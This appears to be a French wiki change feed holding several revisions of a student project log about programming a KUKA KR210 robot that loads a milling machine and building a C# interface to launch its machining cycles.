*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|center|690px]]
[[Fichier:P27_IHM_2.jpg|center|690px]]

Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|center|690px]]
[[Fichier:P27_IHM_3bis.jpg|center|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|center|690px]]
[[Fichier:P27_IHM_4bis.jpg|center|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

Nous avons également commencé la réalisation d'un code permettant de lancer les trajectoires souhaitées en fonction des choix fait dans l'IHM.

=== Semaine du 8 au 12 février 2016 ===

Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.

C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.

[[Fichier:P27_IHM_5.jpg|center|690px]]

Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.

La réalisation du code faisant la liaison entre l'IHM et les trajectoires est plus compliqué que prévu. Nous avons des problèmes pour faire l'appel de nos programmes ainsi que pour la réalisation de nos boucles.

=== Semaine du 15 au 19 février 2016 ===

Tests concernant la communication entre l'interface et le robot à l'aide de la librairie CrossCom qui nous a été conseillée par Kuka.
Cette librairie est disponible uniquement en Visual Basic 6 et l'absence de documentation rend son utilisation difficile. Nous arrivons à récupérer le ''path'' de nos fichiers sur le robot via cette librairie mais il reste impossible de les exécuter. Différentes syntaxes on été testées pour lancer un programme, sans succès pour l'instant.

P27 Robot de fraiseuse

2016-02-16T12:50:06Z

Froyer1 :

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.

=== Semaine du 25 au 29 janvier 2016 ===

A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|center|690px]]
[[Fichier:P27_IHM_2.jpg|center|690px]]

Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|center|690px]]
[[Fichier:P27_IHM_3bis.jpg|center|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|center|690px]]
[[Fichier:P27_IHM_4bis.jpg|center|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

=== Semaine du 8 au 12 février 2016 ===

Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.

C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.

[[Fichier:P27_IHM_5.jpg|center|690px]]

Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.

P27 Robot de fraiseuse

2016-02-09T13:35:14Z

Froyer1 :

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.

=== Semaine du 25 au 29 janvier 2016 ===

A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|left|690px]][[Fichier:P27_IHM_2.jpg|right|690px]]

Sur la page 1, à gauche, on peut voir le choix du type de pièce entre les pièces 1, 2 et 3. Ce choix est assisté via des illustrations des pièces en question avec le préhenseur utilisé pour ce type de pièce. Pour le moment nous avons utilisé les images que nous avions à notre disposition mais par la suite nous aurons d'autres images.
De même, nous avons actuellement des boutons afin de modifier les images, ces boutons ont été implanté car sur l'interface précédente il était possible de le faire. En revanche nous pensons à les retirer car ils ne sont pas des plus important.

Sur la page 2, à droite, se trouve le choix du nombre d'opérations d'usinage. L'OP10 correspond à une opération et l'OP20 à deux opérations. Ici aussi les images sont temporaires afin de pouvoir bien visualiser mais nous allons les remplacer dès que possible.

[[Fichier:P27_IHM_3.jpg|left|690px]][[Fichier:P27_IHM_3bis.jpg|right|690px]]

Les pages 3 et 3bis sont les pages permettant de choisir ou va être réalisé l'opération d'usinage au sein des 4 faces possibles. La page 3bis permet de prendre en compte le cas ou l'on doit faire deux opérations d'usinage et permet donc de sélectionner les faces pour la première et la seconde opération.

[[Fichier:P27_IHM_4.jpg|left|690px]][[Fichier:P27_IHM_4bis.jpg|right|690px]]

La page 4 est la page permettant d'entrer le nombre de pièces que l'on veux usiner ainsi que le magasin ou l'on va venir chercher les pièces brutes pour l'usinage. Comme on peux le voir sur l'image de droite, lorsque l'on veux lancer le programme, on a une fenêtre de confirmation qui récapitule les choix réalisés avant le lancement du programme.

Ceci récapitule la partie graphique de notre interface. Maintenant nous souhaitons faire des tests concernant la communication avec le robot, par contre nous n'avons que peu d'informations concernant la communication. Nous attendons donc une réponse de Kuka concernant ce point, pour le moment nous allons essayer de réaliser cette communication par nous même.

=== Semaine du 8 au 12 février 2016 ===

Une petite modification a été réalisée au sein de l'interface graphique car un point avait été oublié. Il est parfois nécessaire de retourner la pièce avant ou après une opération d'usinage. C'est pourquoi ils disposent d'une surface d'attente sur le magasin ou sont posé les préhenseurs. Si un retournement est nécessaire, le robot viens déposer la pièce sur cette surface d'attente et la reprendre sous un angle différent.

C'est pourquoi nous avons eu à ajouter une fenêtre ou l'utilisateur peut choisir les retournement nécessaire à l'usinage. Il y en a 3 au maximum.

[[Fichier:P27_IHM_5.jpg|center|690px]]

Celle-ci viens s'insérer avant la page 4 qui permet de lancer le programme.

Fichier:P27 IHM 5.jpg

2016-02-09T13:22:37Z

Froyer1 :

P27 Robot de fraiseuse

2016-02-03T15:52:20Z

Froyer1 : /* Semaine du 1 au 5 février 2016 */

La société SARL LEQUIEN est spécialisée dans la fabrication et la commercialisation d’ensembles mécaniques et de mécano-soudure de précision, usinés en commande numérique en petites et moyennes séries.
Notre projet s'inscrit dans le cadre du projet Centaure et consiste à concevoir les déplacements d'un Robot KUKA KR210 R2700 extra ainsi qu'une interface graphique pour la société Lequien (http://www.lequien.fr/).

[[Fichier:Environnement.png|center|500px|Environnement de travail]]

== Descriptif du projet ==

L'objectif de notre projet étant de réaliser la configuration du robot Kuka, nous avons rencontré notre tuteur entreprise le jeudi 24 septembre afin de mettre au point le cahier des charges.
Le centre de fraisage est équipé de deux palettes permettant le chargement en temps masqué de pièces à usiner. Chaque palette est équipée de deux faces d’usinage, permettant ainsi le chargement de plusieurs pièces ou opérations d’usinage. Chaque pièce est produite en petite ou moyenne quantité (rotation quotidienne entre les différents types) et subie une ou deux opérations d'usinage.
[[Fichier:Usinage piece.png|center|500px]]
Afin de charger le centre de fraisage, un robot Kuka à été installé afin de permettre le chargement des pièces la nuit. Les pièces sont disposées dans les magasins 1 ou 2 sur des paniers empilés.
[[Fichier:Dispositif.png|center|500px]]

== Cahier des charges ==

Le projet se décompose en plusieurs phases distinctes. La première partie consiste en la modélisation 3D de la pièce ainsi que la simulation des trajectoires. Pour cela, nous allons utiliser le logiciel Kuka Sim pro qui nous permet de réaliser les cycles des différentes pièces. L'un des cycles à réaliser est le suivant :
*Prise d’une pièce (1)
*Dépôt sur le support d’ajustement (2)
*Dépôt sur le montage de bridage pour la 1ere opération d’usinage (3)
*Usinage de la 1ere Opération
*Dépôt sur le support de retournement (4)
*Dépôt sur le montage de bridage pour la 2eme opération d’usinage (5)
*Usinage de la 2eme Opération
*Dépôt sur le panier fini (6)

[[Fichier:Cycle.png|center|500px]]

La deuxième partie consiste à réaliser une base de données qui va référencer les différentes pièces existantes ainsi que les trajectoires qui leurs sont associées. Enfin, la dernière étape sera de réaliser une interface graphique permettant de choisir les pièces à usiner.

Dans le futur, l'entreprise souhaiterait ajouter un poste d'ébavurage afin d'automatiser la finition de la pièce ainsi qu'un recalage par palpage avec RENISHAW afin de recaler les pièces (la tolérance est de 0.1 mm)

== Problématique Majeure du Projet ==

Afin de mener à bien ce projet il y a de nombreuses choses que nous devons prendre en compte. La problématique majeure de ce projet viens du contexte dans lequel il se place. Car cette entreprise usine de nombreuses pièces différentes à la demande du client et donc, cela va induire quelques contraintes et nous obliger à réaliser quelque chose de très flexible.

Premièrement les cycles d'usinages que nous devons programmer sont multiples car comme décrit précédemment la machine d'usinage comporte deux palettes et deux faces par palettes. Suivant les faces disponibles nous allons devoir ajuster notre programme afin de pouvoir réaliser nos opérations d’usinages sur n'importe quelles faces. Mais aussi être capable de gérer plusieurs programmes de façon concurrente.

Pour les pièces comportant deux étapes d’usinages il devra être possible de stopper le programme entre les deux opérations d’usinage dans le cas par exemple d’une commande urgente d’un client.

Une autre contrainte concerne les magasins de pièces. Les pièces sont stockées sur des palettes que l’on va venir empiler les unes sur les autres. Or, suivant le type de pièce il est parfois nécessaire d’ajouter des rehausseurs entre deux palettes. Ces derniers peuvent être de différentes tailles ce qui entraîne une hauteur variable pour chaque palette qui doit être prise en compte lors du programme.

== Avancement du projet ==

=== Semaine du 21 au 25 septembre 2015 ===

*Rencontre avec le tuteur entreprise afin de mettre au point le cahier des charges
*Prise des mesures afin de simuler l'environnement de travail

=== Semaine du 5 au 9 octobre 2015 ===

*Création du wiki
*Rédaction du cahier des charges
*Prise en main du logiciel Kuka Sim Pro

=== Semaine du 12 au 16 octobre 2015 ===

*Formation sur le logiciel Kuka Sim Pro
*Début de la génération de l'environnement

=== Semaine du 19 au 23 octobre 2015 ===

*Réalisation des premières trajectoires (Simulation de la fraiseuse et du magasin)
[[Média:TestTrajectoire.pdf‎]]

=== Semaine du 2 au 6 novembre 2015 ===

*Environnement quasiment finalisé
*Premières gestions des trajectoires avec l'utilisation d'un préhenseur
[[Média:TestAttachPrehenseur.pdf‎]]

=== Semaine du 9 au 13 novembre 2015 ===

*Réalisation d'un cycle avec prise et relâche d'un préhenseur

=== Semaine du 16 au 20 novembre 2015 ===

*Rencontre avec le tuteur entreprise pour faire un point sur l'avancement du projet
*Prise de mesures supplémentaire

=== Semaine du 23 au 27 novembre 2015 ===

*Problème pour ajouter du contenu dynamique à l'environnement. (Simulation de vérins pneumatiques)
*Exportation d'un programme test réalisé avec Kuka sim pro et application fonctionnelle sur le robot KR6
[[Média:TestKR6.mp4]]

=== Semaine du 30 novembre au 4 décembre 2015 ===

*Avancement du rapport

=== Semaine du 7 au 11 décembre 2015 ===

*Tests pour ajouter des parties dynamiques à notre environnement. Pour l'instant aucune solution fonctionnelle.
*Réalisation de nouvelles trajectoires plus complexes

=== Semaine du 14 au 18 décembre 2015 ===

*Préparation de la soutenance et peu d'avancement du projet car nous avons rencontré un problème au niveau de la licence des logiciels.

=== Semaine du 4 au 8 janvier 2016 ===

*Tests de récupération de la position du robot lors d'un déplacement piloté en manuel. Nous avons été en salle Kuka et nous avons piloté le robot manuellement vers une position et nous avons ensuite récupéré la position exacte du robot afin de l'intégrer à Kuka sim pro et vérifier que les positions coïncident.
*Puisque nous avons testé que l'on peut récupérer la position du robot avec un déplacement manuel et fini de réaliser une trajectoire plus complexe, nous avons pris rendez-vous avec l'entreprise afin de réaliser nos ajustements, et de présenter l'avancement de notre projet.

=== Semaine du 11 au 15 janvier 2016 ===

*Rendez-vous avec notre tuteur entreprise lors duquel nous avons présenté l'avancement du projet. Nous avons aussi récupéré le cahier des charges pour l'interface graphique. Cette interface devra finalement être réalisée à partir de zéro suivant le souhait de l'entreprise.
*Nous avons commencé à réfléchir au développement de l'interface graphique et la façon d'y intégrer nos trajectoires. On nous laisse beaucoup de libertés à ce sujet, nous pensons faire l'interface en C#.
*Concernant les trajectoires il est possible de rester sur une programmation modulaire, ou l'on fait des trajectoires simples que l'on va utiliser pour réaliser le cycle de production, ou alors réaliser des trajectoires complètes. Étant donné que l'on nous demande beaucoup de souplesse, nous avons choisi de rester sur une programmation modulaire.

=== Semaine du 18 au 22 janvier 2016 ===

*Le lundi 18 nous sommes retournés à l'entreprise afin d'y faire nos ajustements, c'est à dire d'obtenir les positions exactes des éléments de l’environnement afin de le finaliser. Les mesures grossières qui avaient été prises étant proche de la réalité il est donc assez simple d'ajuster les positions.

=== Semaine du 25 au 29 janvier 2016 ===

A partir de cette semaine nous avons commencé la réalisation de l'interface graphique. Pour l'instant, il s'agit d'une interface basique.
Cette interface doit permettre de lancer un programme sur le robot. Pour cela il faut donc rentrer tous les paramètres nécessaires afin de définir le programme que l'on souhaite lancer.

Les paramètres à définir sont :
*Le type de pièce que l'on souhaite usiner.
*Le nombre d'opérations à réaliser sur ces pièces. (une ou deux suivant les pièces)
*La face de la machine outil utilisée pour cette ou ces opérations. (il y a quatre faces disponibles)
*L'emplacement ou l'on va venir chercher les pièces à usiner et déposer les pièces usinées. (il y a deux magasins produit dans l'environnement du robot)
*Et pour finir le nombre de pièces que l'on va usiner.

=== Semaine du 1 au 5 février 2016 ===

Une version alpha de l'interface à été réalisée.

[[Fichier:P27_IHM_1.jpg|left|690px]][[Fichier:P27_IHM_2.jpg|right|690px]]

